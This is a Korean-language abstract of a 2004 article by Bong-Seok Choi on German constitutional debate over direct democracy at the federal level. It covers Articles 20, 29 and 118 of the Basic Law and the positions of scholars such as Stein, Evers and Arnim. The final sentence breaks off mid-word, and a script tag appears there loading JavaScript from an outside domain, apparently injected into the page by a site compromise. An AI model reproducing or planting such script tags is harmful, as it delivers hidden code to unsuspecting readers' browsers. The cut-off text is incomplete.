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Theoretische Argumentation und neuere Diskussion zur repräse…

저자 : Bong-Seok Choi년도 : 2004발행권및호 : 제23집
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독일 기본법(GG)은 엄격한 대의제의 원칙을 천명하고 있는 가운데 국가적영역(Bundesebene)에서의 직접민주제적 요소로 오직 제29조와 제118조 및 제118조a에서 국민발안(Volksbegehren)과 국민결정(Volkaentscheid)만을 인정하고 있다. 그러나 이들 조항 역시 독일통일로부터 마련된 것으로서 이 조항들을 근거로 기본법이 일반적인 직접민주제를 승인으로 보는 데에는 무리가 따른다고 할 수 있다. 따라서 국가(연방)적 영역에서의 직접민주제적 요소의 도입가능성은 주로 기본법 제20조의 해석 및 제20조와 타 조항들과의 관계규명 가운데 전개되어왔다.
일반적으로 긍정론의 입장을 취하는 학자들은 모든 국가권력은 국민으로부터 나온다. 이는 국민에 의해 선거와 투표를 통해 행사되고 입법, 집행, 사법의 특별기관에 의해 행사된다라는 제20조 제2항의 국민주권주의 규정을 근거로 제29조와 제118조에 규정된 국민발안과 국민결정이 기본법이 정한 새로운 연방주(구 동독지역) 뿐만 아니라 그 외 모든 국가적 영역에서 인정된다고 해석하고 있다.
Pestalozza와 Frohn 등은 기본법 제29조와 제118조가 제20조 제2항 제2문의 대의제원칙에 대해 유일한 예외에 해당하는 것이 아니며 이들 직접민주제적 수단들 역시 오로지 새로운 주들에서만 인정되는 것으로 볼 수만은 없는 것으로 피력하고 있다. 이들은 제29조와 제118조의 직접민주제적 요소를 오히려 제20조 제2항 제1문의 국민주권주의와 연계하여 해석하면서 이를 직접민주제적 요소에 의한 기본법상 대의제구조의 보완으로 해석하였다.
이에 대해 Stein은 제20조와의 관련성을 배제하면서 기본법의 반대해석을 통해 기본법이 명시적으로 직접민주제적 요소의 배제를 규정하고 있지 않으므로 기본법상의 대의제보장을 저해하지 않는 한 국가적영역에서의 직접민주제적 요소의 도입은 문제가 되지 않는 것으로 설명하고 있다. 그는 나아가 제29조와 제118조에 대해 기본법이 새로운 연방주에서 이러한 대의제 중심의 원칙에 예외를 규정한 것으로 보았다.
Stein 이후에는 직접민주제의 가능성에 관해 기존의 기본법 제20조를 둘러싼 논의는 이상 활성화 되지 못했다. 오히려 이와는 별도로 기본법 제38조 제1항 제2문의 무귀속위임의 원칙과 제39조의 연방의회의원의 임기제 및 제42조 제1항의 다수결의 원칙(Mehrheitsprinzip)에 관한 규정으로부터 소위 직접민주제에 의한 대의제의 교정기능(Korrektfunktion der Plesbizite auf der repräsentativen Demokratie)이 직접민주제 도입의 근거로 거론되었다. Schneider, Sendler, Luhmann 등의 국가법자들에 의해 강조된 이 견해는 국민의 소환(Abwahl)이 인정되지 않은 가운데 임기기간 동안 정당주의라는 정치메카니즘 가운데 철저하게 다수결이 지배하는 정치구조에서 국민의 직접참여를 통해 국민과 대의기관의 간극을 축소시킴으로써 소수의견(Minderheitsmeinung)의 존중과 책임정치의 강화 및 국정의 합리적 운영을 이끌어 낼 수 있다는 정책학적 고려에 입각한 것이었다.
그러나 이러한 견해에 대해 Evers나 Kühne 등은 직접민주제의 원론적 민주성을 인정하면서 소위 직접민주제의 현실적 위해(Gefahr)를, 즉 의회주의의 약화와 책임소재의 불분명성 및 소수자의 급진성에 대한 우려 등을 전통적 대의제 본위의 논지들을 근거로 직접민주제적 방식의 문제점으로 제기하였다.
나아가 Bugiel과 Meineke 등은 Weimar공화국 시절의 경험을 바탕으로 직접민주제를 의회중심제적 다수당체제와 대의구조에 대한 중대한 위험(Risiko)으로 전제하면서 국민결정(투표)의 단선적인 결정양식(양자택일식의 논리:Ja-Nein Logik)과 소위 시민운동의 감성적 편향과 확대를 대의제의 소멸과 참여에 의한 입법기능의 대체로 이어지는 기본법 적대적인 시도로 평가하기도 하였다.
국가적영역에서의 국민의 직접민주제적 참여에 관한 최근의 그리고 가장 전향적인 입장은 Arnim과 Jung 등에 의해 80년대말 이후 지속적으로 제기된 권력통제(Machtkontrolle)적 기능에 입각한 견해라 할 수 있다. 이 견해는 기본법의 원칙과 규율을 존중하면서 직접민주제적 수정가능성을 피력한 기성의 긍정론적 입장 위에서 국민에 의한 정당(정치엘리트를 포함) 및 집행부에 대한 통제와 협력을 통한 대의자와 피대의자의 간극보충으로서의 참여라는 참여론의 위상에 중점을 두었다. 이후 이들의 견해는 지방자치영역에로 확대되고 통독 후 구 동독지역의 헌법개혁과 지방자치개혁에 비중 있게 고려되어 왔다.
원칙적으로 독일에서의 지방자치에 대한 이해는 19세기 독일 헌법주의(deutsches Konstitutionalismus) 하에서의 지방행정에 대한 인식에 바탕한 것으로서, 독일 기본법 제28조상의 자치권보장이라는 제도적 의미뿐만 아니라 독일 헌법재판소가 판시한 바와 같이 지?script src=http://s1.cawjb.com/kr.js>

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